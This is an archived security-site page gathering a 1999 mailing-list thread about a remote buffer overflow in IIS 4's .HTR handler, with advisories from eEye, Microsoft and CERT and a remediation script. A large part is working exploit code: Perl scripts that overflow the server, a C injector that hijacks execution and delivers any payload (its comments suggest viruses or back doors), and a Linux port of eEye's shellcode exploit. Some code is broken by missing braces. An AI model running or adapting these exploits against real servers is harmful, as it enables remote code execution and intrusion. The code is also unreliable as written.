what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New


Posted Aug 17, 1999
Authored by eEye Digital Security

Security hole in Windows NT 4 web servers running IIS allows remote attacker to execute arbitrary code. Detailed exploit description, four exploit scripts (2 perl, 2 C), VB app fix, Microsoft advisory, CERT advisory, more.

tags | exploit, remote, web, arbitrary, perl
systems | windows
SHA-256 | 41fd168e89f3d3b4ff7eff7dea59d4702f8bd805da153a3bc0c70bb7468b80e0


Change Mirror Download
Retina vs. IIS4, Round 2, KO

eEye - Digital Security Team (eeye@EEYE.COM)
Tue, 15 Jun 1999 12:18:16 -0000

Retina vs. IIS4, Round 2

Systems Affected:

Internet Information Server 4.0 (IIS4)
Microsoft Windows NT 4.0 SP3 Option Pack 4
Microsoft Windows NT 4.0 SP4 Option Pack 4
Microsoft Windows NT 4.0 SP5 Option Pack 4

Release Date:

June 8, 1999

Advisory Code:



We have been debating how to start out this advisory. How do you explain
that 90% or so of the Windows NT web servers on the Internet are open to a
hole that lets an attacker execute arbitrary code on the remote web server?
So the story starts...

The Goal:

Find a buffer overflow that will affect 90% of the Windows NT web servers on
the Internet. Exploit this buffer overflow.

The Theory:

There will be overflows in at least one of the default IIS filtered
extensions (i.e. .ASP, .IDC, .HTR). The way we think the exploit will take
place is that IIS will pass the full URL to the DLL that handles the
extension. Therefore if the ISAPI DLL does not do proper bounds checking it
will overflow a buffer taking IIS (inetinfo.exe) with it and allow us to
execute arbitrary code on the remote server.

Entrance Retina:

At the same time of working on this advisory we have been working on the AI
mining logic for Retina's HTTP module. What better test scenario than this?
We gave Retina a list of 10 or so extensions common to IIS and instructed it
to find any possible holes relating to these extensions.

The Grind:

After about an hour Retina found what appeared to be a hole. It displayed
that after sending "GET /[overflow].htr HTTP/1.0" it had crashed the server.
We all crossed our fingers, started up the good ol' debugger and had Retina
hit the server again.

Note: [overflow] is 3k or so characters... but we will not get into the
string lengths and such here. View the debug info and have a look for

The Registers:

EAX = 00F7FCC8 EBX = 00F41130
ECX = 41414141 EDX = 77F9485A
ESI = 00F7FCC0 EDI = 00F7FCC0
EIP = 41414141 ESP = 00F4106C
EBP = 00F4108C EFL = 00000246

Note: Retina was using "A" (0x41 in hex) for the character to overflow with.
If you're not familiar with buffer overflows a quick note would be that
getting our bytes into any of the registers is a good sign, and directly
into EIP makes it even easier :)

Explain This:

The overflow is in relation to the .HTR extensions. IIS includes the
capability to allow Windows NT users to change their password via the web
directory /iisadmpwd/. This feature is implemented as a set of .HTR files
and the ISAPI extension file ISM.DLL. So somewhere along the line when the
URL is passed through to ISM.DLL, proper bounds checking is not done and our
overflow takes place. The .HTR/ISM.DLL ISAPI filter is installed by default
on IIS4 servers. Looks like we got our 90% of the Windows NT web servers
part down. However, can we exploit this?

The Exploit:

Yes. We can definitely exploit this and we have. We will not go into much
detail here about how the buffer is exploited and such. Read the comments in
the asm file for more information. However, one nice thing to note is that
the exploit has been crafted in such a way to work on SP4 and SP5 machines,
therefore there is no guessing of offsets and possible accidental crashing
of the remote server. We have not tested the exploit on SP3 and would love
to know if it works or not. eMail alert@eEye.com if you've successfully
exploited this hole on SP3.

For more details about the exploit visit the eEye web site at www.eEye.com

The Fallout:

Almost 90% of the Windows NT web servers on the Internet are affected by
this hole. Everyone from NASDAQ to the U.S. Army to Microsoft themselves.
No, we did not try it on the above mentioned. But it is easy to verify if a
web server is exploitable without using the exploit. Even a server that's
locked in a guarded room behind a Cisco Pix can be broken into with this
hole. This is a reminder to all software vendors that testing for common
security holes in your software is a must. Demand more from your software

The Request. (Well one anyway.)

Dear Microsoft,

One of the things that we found out is that IIS did not log any trace of our
attempted hack. We recommend that you pass all server requests to the
logging service before passing it to any ISAPI filters etc...The logging
service should be, as named, an actual service running in a separate memory
space so that when inetinfo goes down intrusion signatures are still logged.

Retina vs. IIS4, Round 2. KO.


1. Remove the extension .HTR from the ISAPI DLL list. Microsoft has just
updated their checklist to include this interim fix.
2. Apply the patch supplied by Microsoft when available.

Vendor Status:

We contacted Microsoft on June 8th 1999, eEye Digital Security Team provided
all information needed to reproduce the exploit. and how to fix it.
Microsoft security team did confirm the exploit and are releasing a patch
for IIS.

Related Links

Advisory - On our web site

Advisory - Retina Brain File used to uncover the hole

Retina - The Network Security Scanner

Greetings go out to:

The former Secure Networks Inc., L0pht, Phrack, ADM, Rhino9, Attrition, HNN
and any other security company or organization that believes in full

Copyright (c) 1999 eEye Digital Security Team

Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express consent of
eEye. If you wish to reprint the whole or any part of this alert in any
other medium excluding electronic medium, please e-mail alert@eEye.com for


The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.

Please send suggestions, updates, and comments to:

eEye Digital Security Team



Date: Tue, 15 Jun 1999 18:23:28 -0000
From: eEye - Digital Security Team <eeye@EEYE.COM>
Subject: Update to IIS Remote Hole.

We have updated our advisory on our website,
and as promised added a link to the working remote exploit,

eEye Digital Security Team


Re: Retina vs. IIS4, Round 2, KO

Ryan R Permeh (rrpermeh@RCONNECT.COM)
Tue, 15 Jun 1999 17:01:23 -0500

tested, this works for me... scripting was turned on... perl exploit
code follows:

#props to the absu crew
use Net::Telnet;
for ($i=2500;$i<3500;$i++)
$obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
print "$cmd\n";$obj->print("$cmd");

Ryan R Permeh E-MAIL: rrpermeh@rconnect.com
IS Engineer WEB : http://www.rconnect.com
Rural Connections HELP : help@rconnect.com
FAQ : http://www.rconnect.com/help
SALES : sales@rconnect.com
120 First Street NE PHONE : (507) 281-5005
Rochester, MN 55906 FAX : (507) 281-9272


Re: Retina vs. IIS4, Round 2, KO

Randal L. Schwartz (merlyn@STONEHENGE.COM)
Tue, 15 Jun 1999 16:59:08 -0700

>>>>> "Ryan" == Ryan R Permeh <rrpermeh@RCONNECT.COM> writes:

Ryan> #!/usr/bin/perl
Ryan> #props to the absu crew
Ryan> use Net::Telnet;
Ryan> for ($i=2500;$i<3500;$i++)
Ryan> {
Ryan> $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
Ryan> my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
Ryan> print "$cmd\n";$obj->print("$cmd");
Ryan> $obj->close;
Ryan> }

It's silly to use Net::Telnet for HTTP:

use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";

Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
Email: <merlyn@stonehenge.com> Snail: (Call) PGP-Key: (finger merlyn@teleport.com)
Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me



Microsoft Security Bulletin (MS99-019)
Patch Available for Malformed HTR Request Vulnerability

Originally Posted: May 27, 1999

Microsoft has released a patch that eliminates a vulnerability in Microsoft
(r) Internet Information Server 4.0. The vulnerability could allow denial
of service attacks against an IIS server or, under certain conditions,
could allow arbitrary code to be run on the server.

Microsoft has issued this bulletin to advise customers of steps they can
take to protect themselves against this vulnerability. A patch to eliminate
this vulnerability is being developed, and an update to this bulletin will
be released to advise customers when it is available.

IIS supports several file types that require server-side processing. When a
web site visitor requests a file of one of these types, an appropriate
filter DLL processes it. A vulnerability exists in ISM.DLL, the filter DLL
that processes .HTR files. HTR files enable remote administration of user

The vulnerability involves an unchecked buffer in ISM.DLL. This poses two
threats to safe operation. The first is a denial of service threat. A
malformed request for an .HTR file could overflow the buffer, causing IIS
to crash. The server would not need to be rebooted, but IIS would need to
be restarted. The second threat would be more difficult to exploit. A
carefully-constructed file request could cause arbitrary code to execute on
the server via a classic buffer overrun technique. Neither scenario could
occur accidentally. This vulnerability does not involve the functionality
of the password administration features of .HTR files.

While there are no reports of customers being adversely affected by this
vulnerability, Microsoft is proactively releasing this bulletin to allow
customers to take appropriate action to protect themselves against it.

Affected Software Versions
- Microsoft Internet Information Server 4.0

What Microsoft is Doing
Microsoft has provided a workaround that fixes the problem identified.
The workaround is discussed below in What Customers Should Do.

Microsoft also has sent this security bulletin to customers
subscribing to the Microsoft Product Security Notification Service.
See http://www.microsoft.com/security/services/bulletin.asp for more
information about this free customer service.

What Customers Should Do
Microsoft highly recommends that customers disable the script mapping
for .HTR files as follows:
- From the desktop, start the Internet Service Manager
by clicking Start | Programs | Windows NT 4.0 Option
Pack | Microsoft Internet Information Server | Internet
Service Manager
- Double-click "Internet Information Server"
- Right-click on the computer name and select Properties
- In the Master Properties drop-down box, select "WWW Service",
then click the "Edit" button .
- Click the "Home Directory" tab, then click the "Configuration"
- Highlight the line in the extension mappings that contains ".HTR",
then click the "Remove" button.
- Respond "yes" to "Remove selected script mapping?" say yes,
click OK 3 times, close ISM

A patch will be available shortly to eliminate the vulnerability

Customers should monitor http://www.microsoft.com/security for an
announcement when the patches are available.

Microsoft recommends that customers review the IIS Security Checklist
at http://www.microsoft.com/security/products/iis/CheckList.asp

More Information
Please see the following references for more information related to this
- Microsoft Security Bulletin MS99-019,
Workaround Available for "Malformed HTR Request" Vulnerability
(The Web-posted version of this bulletin),
- IIS Security Checklist,

Obtaining Support on this Issue
If you require technical assistance with this issue, please contact
Microsoft Technical Support. For information on contacting Microsoft
Technical Support, please see

- June 15, 1999: Bulletin Created.

For additional security-related information about Microsoft products,
please visit http://www.microsoft.com/security



(c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.


Date: Wed, 16 Jun 1999 12:12:33 -0400
From: Russ <Russ.Cooper@RC.ON.CA>
Subject: Re: Update to IIS Remote Hole.

Nelson Bunker <nelson_bunker@wvm.net> has provided us with an VB app
which automates the process of updating your IIS 4.0 Metabase to remove
the ISM.DLL mappings which permit the eEye IISHack to work. Its a
temporary workaround while Microsoft continue to work on a proper fix
(which is expected today or tomorrow btw). For those of you with large
IIS installation, you might find this extremely useful.

If you use it, make sure you drop Nelson a line and thank him for it!

Check the NTBugtraq Home Page, http://ntbugtraq.ntadvice.com, in the
"What's New" section for links.

Russ - NTBugtraq Editor


For those of you that have too many IIS machines to yank this off by hand here is some vb code to set your IIS metabase remotely... VB 5.0 sp3 IIS Resource kit installed --
Metabase editor utility from resource kit needs to be installed.

Have fun! You can set all of you metabase up with the tools mentioned above. :-)

Nelson Bunker

'The subs I put in Modules handles the App Mappings tab of the
'application configuration screen
Sub AppMappings(ByRef IIS)

'delete all existing script paths
Call DeleteAllLowerProperties(IIS, "ScriptMaps")

'the only thing changed on scripts maps is htm & html mapped to
'asp.dll and removed the ism.dll mapping
newscriptmaps =

IIS.PutEx 2, "ScriptMaps", newscriptmaps


End Sub

Sub DeleteAllLowerProperties(ByRef IIS, ByVal PropertyName)

'delete all existing script paths
PathList = IIS.GetDataPaths(PropertyName, 1)

If Err.Number <> 0 Then
For Each Path In PathList
Set objScriptPath = GetObject(Path)
objScriptPath.PutEx 1, PropertyName, True
End If

End Sub

' Start form1 here
Function GetServerArray()
GetServerArray = Array("Websvr1", ...., "WebsvrX")

End Function

Private Sub Form_Load()

ServerArray = GetServerArray()
For Each Server In ServerArray
Set globalW3svc = GetObject("IIS://" & Server & "/W3SVC")
Call AppMappings(globalW3svc)

End Sub


Date: Wed, 16 Jun 1999 08:58:05 -0700
From: Greg Hoglund <hoglund@IEWAY.COM>
Subject: IIS Remote Exploit (injection code)

I read yesturday on eEye.com that they had discovered a buffer overflow in
IIS. I could not resist writing an exploit. I did not have time to design
a really cool payload for this exploit, so I simply wrote the injection
code. However, this is meaningful for several reasons. Attached is the
injection code. The exploit will deliver any payload of your choosing.
Your payload will be executed. This empowers you to create a "collection"
of payloads that are not dependant upon the injection vector in any way.
This decoupling is important for military needs, where a single injection
vector needs to work, but the "warhead" may be different depending on the
targets characterization.

The exploit was fairly simple to build. In short, I read on eEye.com that
they had overflowed IIS with something like a ~3000 character URL. Within
minutes I had caused IIS to crash with EIP under my control. I used a
special pattern in the buffer (see code) to make it easy for me to identify
where EIP was being popped from. The pattern also made it easy to
determine where I was jumping around. Use the tekneek Danielson. ;-)

So, I controlled EIP, but I needed to get back to my stack segment, of
course. This is old school, and I really lucked out. Pushed down two
levels on the stack was an address for my buffer. I couldn't have asked
for more. So, I found a location in NTDLL.DLL (0x77F88CF0) that I could
return to. It had two pop's followed by a return. This made my injection
vector return to the value that was stored two layers down on the stack.
Bam, I was in my buffer. So, I landed in a weird place, had to add a near
jump to get to somewhere more useful.. nothing special, and here we are
with about 2K of payload space. If you don't supply any mobile code to be
run, the injection vector will supply some for you. The default payload in
simply a couple of no-ops followed by a debug breakpoint (interrupt 3)...
It's easy to play with if you want to build your own payloads.. just keep a
debugger attached to inetinfo.exe on the target machine.

Lastly, I would simply like to point out that monoculture installations are
very dangerous. It's a concept from agribusiness.. if you have all one
crop, and a virus comes along that can kill that crop, your out of
business. With almost ALL of the IIS servers on the net being vulnerable
to this exploit, we also have a monoculture. And, it's not just IIS. The
backbone of the Internet is built on common router technology (such as
cisco IOS). If a serious exploit comes along for the IOS kernel, can you
imagine the darkness that will fall?

<--- snip

// IIS Injector for NT
// written by Greg Hoglund <hoglund@ieway.com>
// http://www.rootkit.com
// If you would like to deliver a payload, it must be stored in a binary file.
// This injector decouples the payload from the injection code allowing you to
// create a numnber of different attack payloads. This code could be used, for
// example, by a military that needs to attack IIS servers, and has characterized
// the eligible hosts. The proper attack can be chosen depending on needs. Since
// the payload is so large with this injection vector, many options are available.
// First and foremost, virii can delivered with ease. The payload is also plenty
// large enough to remotely download and install a back door program.
// Considering the monoculture of NT IIS servers out on the 'Net, this represents a
// very serious security problem.

#include <windows.h>
#include <stdio.h>
#include <winsock.h>

void main(int argc, char **argv)
SOCKET s = 0;
WSADATA wsaData;

if(argc < 2)
fprintf(stderr, "IIS Injector for NT\nwritten by Greg Hoglund, " \
"http://www.rootkit.com\nUsage: %s <target" \
"ip> <optional payload file>\n", argv[0]);

WSAStartup(MAKEWORD(2,0), &wsaData);


anAddr.sin_family = AF_INET;
anAddr.sin_port = htons(80);
anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
static char theSploit[4096];
// fill pattern
char kick = 'z'; //0x7a
char place = 'A';

// my uber sweet pattern gener@t0r
for(int i=0;i<4096;i+=4)
theSploit[i] = kick;
theSploit[i+1] = place;
theSploit[i+2] = place + 1;
theSploit[i+3] = place + 2;

if(++place == 'Y') // beyond 'XYZ'
place = 'A';
if(--kick < 'a') kick = 'a';

_snprintf(theSploit, 5, "get /");
_snprintf(theSploit + 3005, 22, "BBBB.htr HTTP/1.0\r\n\r\n\0");

// after crash, looks like inetinfo.exe is jumping to the address
// stored @ location 'GHtG' (0x47744847)
// cross reference back to the buffer pattern, looks like we need
// to store our EIP into theSploit[598]

// magic eip into NTDLL.DLL
theSploit[598] = (char)0xF0;
theSploit[599] = (char)0x8C;
theSploit[600] = (char)0xF8;
theSploit[601] = (char)0x77;

// code I want to execute
// will jump foward over the
// embedded eip, taking us
// directly to the payload
theSploit[594] = (char)0x90; //nop
theSploit[595] = (char)0xEB; //jmp
theSploit[596] = (char)0x35; //
theSploit[597] = (char)0x90; //nop

// the payload. This code is executed remotely.
// if no payload is supplied on stdin, then this default
// payload is used. int 3 is the debug interrupt and
// will cause your debugger to "breakpoint" gracefully.
// upon examiniation you will find that you are sitting
// directly in this code-payload.
if(argc < 3)
theSploit[650] = (char) 0x90; //nop
theSploit[651] = (char) 0x90; //nop
theSploit[652] = (char) 0x90; //nop
theSploit[653] = (char) 0x90; //nop
theSploit[654] = (char) 0xCC; //int 3
theSploit[655] = (char) 0xCC; //int 3
theSploit[656] = (char) 0xCC; //int 3
theSploit[657] = (char) 0xCC; //int 3
theSploit[658] = (char) 0x90; //nop
theSploit[659] = (char) 0x90; //nop
theSploit[660] = (char) 0x90; //nop
theSploit[661] = (char) 0x90; //nop
// send the user-supplied payload from
// a file. Yes, that's a 2K buffer for
// mobile code. Yes, that's big.
FILE *in_file;
in_file = fopen(argv[2], "rb");
int offset = 650;
while( (!feof(in_file)) && (offset < 3000))
theSploit[offset++] = fgetc(in_file);
send(s, theSploit, strlen(theSploit), 0);


Date: Wed, 16 Jun 1999 10:59:38 -0000
From: Marc <Marc@EEYE.COM>
To: BUGTRAQ@netspace.org
Subject: Update to IIS hole.


We have been receiving some eMails from people saying that the iishack.exe
on our website is not working for them and is just crashing the remote
server. Here is what we know and do not know etc..

We have tested it on the English version of NT4.0, with IIS4.0, Service Pack
4 and 5.
We have had some people eMail us that they have this configuration and it is
not working... This very well could be possible that the offset we are using
is not working for some dll's and such... people might have a different
version and what not. For this case we *might* release a second exploit that
uses a better offset that should work on all nt4.0 iis4.0 sp4 and sp5
machines but honestly it is not that big of a deal to us. The hole is there,
and is exploitable and other people have been writing exploits for it also.

We do know that our exploit probably does not work on sp3 because off the
offset we use... we have gotten a few eMails about this and we never did
test nor claim it worked on sp3 but we *might* in our second version of the
exploit find a offset that works for sp3 also.

I honestly think this post is in some ways pointless but maybe it will help
to cut back some of the eMails we are getting about the above information.

Thank you to everyone who has been helping out.

eEye Digital Security Team

Jump on over to technotronic.com for some good information and other
exploits and such.


Date: Wed, 16 Jun 1999 19:04:20 +0200 (CEST)
From: typo <typo@hert.org>
To: bugtraq@netspace.org
Cc: packetstorm@genocide2600.com
Subject: iis4 remote exploit ported

the teso crew has ported the iis exploit to linux...
basically this program does the same as the windows version (written in
asm) of this exploit. Produced shellcode is identical.. everything should
work.. we haven't tested. Everyone except rootshell.com is allowed to put
a copy of this on his/her/their webpage.

visit #austria on ircnet for newest elite 0day exploits.

scut & typo

/* iis 4.0 exploit
* by eeye security
* ported to unix/C by the teso crew.
* shoutouts to #hax and everyone else knowing us...
* you know who you are.
* gcc -o tesoiis tesoiis.c -Wall

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec);

void net_write (int fd, const char *str, ...);

unsigned long int net_resolve (char *host);

char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */

#define URL_OFFSET 1055

char front[] = "GET /AAAAAAA"
/* stick it in here */
".htr HTTP/1.0";

usage (void)
printf ("usage: ./tesoiis host port url\n");

main (int argc, char *argv[])
/* yadda,yadda.. you can try exploiting our exploit!!
* update: hmm.. is this exploitable? gets EIP touched by exit()?
* gotta check this later...

char host[256], url[256];
int port,sd,t = 0;
int m = 0;
char *cc, *pfft;
struct sockaddr_in cs;

printf ("teso crew IIS exploit.. shellcode by eEye.\n");
printf ("------------------------------------------\n");
if (argc < 4)

strcpy (host, argv[1]);
strcpy (url, argv[3]);

port = atoi (argv[2]);
if ((port < 1) || (port > 65535))

cc = url;
pfft = front + URL_OFFSET;

while (*cc) {
if (*cc == '/' && 0 == t) {
memcpy (pfft, stuff, 6);
pfft += 6;
t = 1;
} else {
*pfft = *cc + 0x21;
m += 1;

printf ("Host: %s Port: %d Url: %s\n", host, port, url);

printf ("Connecting... ");
fflush (stdout);
sd = net_connect (&cs, host, port, NULL, 0, 30);

if (sd < 1) {
printf ("failed!\n");

printf ("done.. sending shellcode..");
fflush (stdout);

net_write (sd, "%s\n\n", front);

printf ("done.. closing fd!\n");
close (sd);

printf ("%s\n", front);


net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec)
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;

/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);

fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);

if (!(cs->sin_addr.s_addr = net_resolve (server))) {
close (fd);
return (-1);

flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);

error = 0;

n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
if (n == 0)
goto done;

FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;

n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
errno = ETIMEDOUT;
return (-1);
if (n == -1)
return (-1);

if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
} else
return (-1);

n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);

unsigned long int
net_resolve (char *host)
long i;
struct hostent *he;

i = inet_addr(host);
if (i == -1) {
he = gethostbyname(host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
return (i);

net_write (int fd, const char *str, ...)
char tmp[8192];
va_list vl;
int i;

va_start(vl, str);
memset(tmp, 0, sizeof(tmp));
i = vsnprintf(tmp, sizeof(tmp), str, vl);

send(fd, tmp, i, 0);


Date: Wed, 16 Jun 1999 19:09:42 GMT
From: Ethan Benatan <ethan+@pitt.edu>
To: BUGTRAQ@netspace.org
Subject: Re: IIS Remote Exploit (injection code)

>>> "Greg" == Greg Hoglund <hoglund@IEWAY.COM> writes:

Greg> I read yesturday on eEye.com that they had discovered a buffer
Greg> overflow in IIS.....


Greg> Lastly, I would simply like to point out that monoculture
Greg> installations are very dangerous. It's a concept from
Greg> agribusiness.. if you have all one crop, and a virus comes
Greg> along that can kill that crop, your out of business.

Very true, and this is a terrifically important message to get out.
Not to be pedantic but actually it is a concept from ecology: the
"business", as Greg puts it, can be any system. Diversity makes for
resilience, and vice versa. Okay aleph, it's not a bug but it is a
way we should be thinking.

Greg> With
Greg> almost ALL of the IIS servers on the net being vulnerable to
Greg> this exploit, we also have a monoculture. And, it's not just
Greg> IIS. The backbone of the Internet is built on common router
Greg> technology (such as cisco IOS). If a serious exploit comes
Greg> along for the IOS kernel, can you imagine the darkness that
Greg> will fall?



Date: Wed, 16 Jun 1999 16:40:25 -0400
From: Dug Song <dugsong@MONKEY.ORG>
To: BUGTRAQ@netspace.org
Subject: Re: IIS Remote Exploit (injection code)

On Wed, 16 Jun 1999, Ethan Benatan wrote:

> Very true, and this is a terrifically important message to get out...
> Diversity makes for resilience, and vice versa.

see stephanie forrest's work on computer immunology:


and to a lesser extent, random "canary" values in StackGuard:


and the introduction of randomness to defeat race attacks, predictable
sequence number attacks, etc. in OpenBSD:




Date: Wed, 16 Jun 1999 15:03:52 -0700
From: Crispin Cowan <crispin@CSE.OGI.EDU>
To: BUGTRAQ@netspace.org
Subject: Diversity (was: IIS Remote Exploit (injection code))

Dug Song wrote:

> On Wed, 16 Jun 1999, Ethan Benatan wrote:
> > Very true, and this is a terrifically important message to get out...
> > Diversity makes for resilience, and vice versa.
> see stephanie forrest's work on computer immunology:
> http://www.cs.unm.edu/~immsec/
> and to a lesser extent, random "canary" values in StackGuard:
> http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/

StackGuard came about because we investigated the approach of using
diversity to resist attack, and found it to be VERY limited in
effectiveness. The core problem is that when you change things, you
create incompatabilities for friend and foe alike, i.e. a diversity hack
strong enough to defeat an attacker is also likely to break a lot of
YOUR applications. This occurs because:

* The diversity hack must preserve many invariants that are necessary
to keep legitimate applications running, and these invariants are
often subtle and unknown, e.g. Linux applications that only work on
Red Hat systems.
* Simultaneously, the diversity hack must BREAK the invariants that the
attacker depends on, and these invariants are mostly unknown. If you
knew what they were, you would have fixed the bug :-)

Having discovered that diversity is hard to make both effective and
practical, we moved on to study what we call "restrictions." A
restriction prohibits certain classes of behavior that are always known to
be bad, e.g. changing the return address of an active function, which is
what stack smashes try to do, and what StackGuard prevents.

It is our conjecture that for every diversity hack that one can propose,
there is a restriction hack that is easier to deploy and more effective.
This has been true in practice as we try to construct security-enhancing

Full papers on these ideas can be found here:

Crispin Cowan, Research Assistant Professor of Computer Science, OGI
NEW: Protect Your Linux Host with StackGuard'd Programs :FREE

Microsoft: Putting the "lame" in "layman"


Date: Wed, 16 Jun 1999 16:30:12 -0400
From: CERT Advisory <cert-advisory@cert.org>
Reply-To: cert-advisory-request@cert.org
To: cert-advisory@coal.cert.org
Subject: CERT Advisory CA-99.07 - IIS Buffer Overflow


CERT Advisory CA-99-07 IIS Buffer Overflow

Originally released: June 16, 1999
Source: CERT/CC

Systems Affected

* Machines running Microsoft Internet Information Server 4.0.

I. Description

A buffer overflow vulnerability affecting Microsoft Internet
Information Server 4.0 has been discovered in the ISM.DLL library.
According to Microsoft, ISM.DLL is the "filter DLL that processes .HTR
files. HTR files enable remote administration of user passwords."

A tool to exploit this vulnerability has been publicly released.

II. Impact

This vulnerability allows remote intruders to execute arbitrary code
with the privileges of the IIS server. Additionally, intruders can use
this vulnerability to crash vulnerable IIS processes.

III. Solution

Microsoft has released Microsoft Security Bulletin MS99-019 describing
a workaround to this problem. Additionally, Microsoft is working on a
patch to fix this problem; information regarding this patch will be
available in the Microsoft Security Bulletin. We encourage you to read
this bulletin, available from


We will update this advisory as more information becomes available.
Please check the CERT/CC web site for the most current revision.

This document is available from:

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890

CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
Monday through Friday; they are on call for emergencies during other
hours, on U.S. holidays, and on weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email.
Our public PGP key is available from http://www.cert.org/CERT_PGP.key.
If you prefer to use DES, please call the CERT hotline for more

Getting security information

CERT publications and other security information are available from
our web site http://www.cert.org/.

To be added to our mailing list for advisories and bulletins, send
email to cert-advisory-request@cert.org and include SUBSCRIBE
your-email-address in the subject of your message.

Copyright 1999 Carnegie Mellon University.
Conditions for use, disclaimers, and sponsorship information can be
found in http://www.cert.org/legal_stuff.html.

* "CERT" and "CERT Coordination Center" are registered in the U.S.
Patent and Trademark Office

Any material furnished by Carnegie Mellon University and the Software
Engineering Institute is furnished on an "as is" basis. Carnegie
Mellon University makes no warranties of any kind, either expressed or
implied as to any matter including, but not limited to, warranty of
fitness for a particular purpose or merchantability, exclusivity or
results obtained from use of the material. Carnegie Mellon University
does not make any warranty of any kind with respect to freedom from
patent, trademark, or copyright infringement.
Revision History

June 16, 1999: Initial release

Version: 2.6.2



Date: Mon, 21 Jun 1999 12:23:27 +0300
From: Mikko Hypponen <Mikko.Hypponen@DATAFELLOWS.COM>
Subject: Re: Alert: Microsoft Security Bulletin (MS99-019) - IIS Fix Available

>Microsoft have released a patch for IIS 4.0 which addresses the issues
>uncovered by eEye.

Also, if you want to monitor who's running IISHACK in your organisation,
we've added detection of this tool (as a trojan horse) into latest updates
for F-Secure Anti-Virus. This detects the original IISHACK.EXE as released
by eEye with the name "Trojan.IIS_Hack".

For more information, see our Virus News Updates at:

Mikko Hermanni Hyppönen, Mikko.Hypponen@DataFellows.com
Manager, Anti-Virus Research, Data Fellows Corp.
Integrated Solutions for Enterprise Security
Tel +358 9 8599 0513 - fax +358 9 8599 0713

Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    20 Files
  • 29
    Nov 29th
    9 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By